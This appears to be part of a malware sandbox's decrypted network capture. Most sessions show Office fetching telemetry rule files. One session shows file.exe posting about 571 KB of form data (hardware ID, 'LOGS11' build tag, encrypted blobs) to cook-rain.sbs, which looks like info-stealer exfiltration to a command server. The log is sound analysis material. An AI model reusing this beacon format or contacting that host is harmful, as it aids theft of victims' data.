2024-11-19 23:19:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95cmd8vfhC1NYC0g4000000005a000000000986p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:12 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:12 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231912Z-185f5d8b95cjbkr4hC1NYCeu2400000009a00000000057k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49732	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4DMTKW3MXGTINGO9Z3Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571401 Host: cook-rain.sbs
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 2d 2d 34 44 4d 54 4b 57 33 4d 58 47 54 49 4e 47 4f 39 5a 33 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 34 44 4d 54 4b 57 33 4d 58 47 54 49 4e 47 4f 39 5a 33 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 44 4d 54 4b 57 33 4d 58 47 54 49 4e 47 4f 39 5a 33 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --4DMTKW3MXGTINGO9Z3ZContent-Disposition: form-data; name="hwid"DF5DF69D65AEB3AC63CFCF7E6C45F838--4DMTKW3MXGTINGO9Z3ZContent-Disposition: form-data; name="pid"1--4DMTKW3MXGTINGO9Z3ZContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 4a 84 53 2c e9 18 e2 5c 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 Data Ascii: JS,\rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4JJ1
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: f9 9e f9 ca f5 8e 42 eb 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 Data Ascii: B\|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 35 8f 0f 5d da 16 d7 43 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 Data Ascii: 5]CoK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 63 5a 60 86 76 f5 27 ac 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a Data Ascii: cZ`v'f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 6b ee 1a 3d 42 ab 5d 4c 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 Data Ascii: k=B]L_L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 47 a0 da b6 ba 39 22 cb fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be Data Ascii: G9"e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: fa eb 27 6b 5f 7d be 85 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 Data Ascii: 'k_}n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 97 60 db e8 8b 57 eb 1e f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba Data Ascii: `WoqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP
2024-11-19 23:19:13 UTC	15331	OUT	Data Raw: 8b 98 29 28 4d a1 59 df bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 Data Ascii: )(MY'0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~
2024-11-19 23:19:16 UTC	986	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2qf238fsfnmvkhge9itfl4ngm2; expires=Sat, 15-Mar-2025 17:05:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IG4xJXh7ONyaNYxas7Dzudxbs%2F4yuReYm1IoTc3VmvVLKWKbLq1B708lUtxnWHChxpr0Ug0xA5ebB8FyZGC7oay5cGTVGxQX15TkCUFi1%2BSRDfHKeBktTfqNCBhjGOIO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec84ad9fc477-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&sent=201&recv=592&lost=0&retrans=0&sent_bytes=2829&recv_bytes=573946&delivery_rate=1658148&cwnd=173&unsent_bytes=0&cid=28a3f295104530cc&ts=3288&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231913Z-185f5d8b95cp7lkfhC1NYC7rpw00000009ng000000000see x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231913Z-185f5d8b95cwtv72hC1NYC141w000000096g00000000uy07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:13 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231913Z-185f5d8b95c68cvnhC1NYCfn7s000000099g00000000sxze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
